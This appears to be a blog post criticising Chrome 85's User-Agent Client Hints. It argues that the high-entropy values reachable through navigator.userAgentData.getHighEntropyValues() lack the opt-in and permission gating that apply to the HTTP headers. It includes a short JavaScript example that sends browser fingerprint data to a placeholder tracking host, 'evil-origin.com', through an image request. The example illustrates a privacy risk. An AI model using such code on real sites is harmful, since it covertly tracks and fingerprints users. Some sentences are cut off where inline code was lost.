The User-Agent string is an abundant source of passive fingerprinting information about our users. It contains many details about the user’s browser and device as well as many lies (“Mozilla/5.0”, anyone?) that were or are needed for compatibility purposes, as servers grew reliant on bad User Agent sniffing.
The one alternative is gated, the other wide open…
Security Mechanisms for UA-CH as HTTP Headers in place
The concerns related to the User-Agent are that it can be used to fingerprint users because of the relatively high entropy. The use case where the User-Agent are present in server logs or similar did get a lot of attention.
The UA-CH attempts to solve this by the already existing opt-in mechanism in the Client Hints specification combined with permission policy delegation of hints. Even if this solution does not offer any alternative to the User-Agent on the first navigation request, the Chrome team seems fixed on this idea.
Anyway, the important thing is that there is some security baked in. The high entropy hints are not available by default.
In Chrome version 85 I’m able to read all User-Agent Client-Hints without restrictions.
The spec says this about Access restrictions:
User agents ought to exercise judgement before granting access to this information, and MAY impose restrictions above and beyond the secure transport and delegation requirements noted above. For instance, user agents could choose to reveal platform architecture only on requests it intends to download, giving the server the opportunity to serve the right binary. Likewise, they could offer users control over the values revealed to servers, or gate access on explicit user interaction via a permission prompt or via a settings interface.
No additional effort is needed by any party to get access to the high entropy data points.
No User Approval
The only hope for the future is that the access to the high entropy hints are provided through a promise, which offers an asynchronous “hook” for browsers to interfere. Browsers have not yet taken this opportunity to protect the high entropy data points. Probably as expected because of to the vague language in the specification.
No Delegation Through Permission Policies
Inconsistent Privacy Model
Comparing the relatively high level of security and number of trade-offs for UA-CH in the HTTP header with the wide open access to UA-CH through
navigator.userAgentData.getHighEntropyValues(), a few questions comes to mind:
- Why is there no Opt-in using
- Why is there no user approval implemented in browsers when scripts are trying to access
- Why is the spec so vague on the topic of gating the UA-CH client side?
- Why aren’t the same information protected by the same mechanisms client side and server side?
There is an open issue on github covering this topic.
Basically, it’s very easy to do things like link decoration:
var image = document.createElement('img');
image.src = 'https://evil-origin.com/tracker.gif?fingerprint=' + JSON.stringify(arguments)+JSON.stringify(navigator.userAgentData.brands)+JSON.stringify(navigator.userAgentData.mobile);
I’d be pleasantly surprised if the opt-in (
On the server side, sniffing and detection is less of an issue because the software and algorithms making sense of the User-Agent is pretty much settled and commercially available to all serious players.
Giving every single frontend developer access to UA-CH client side, seems like a huge security-, privacy-, and functionality risk to me.
If Chrome v85 reaches stable in its current form, I’m in the market for a new browser.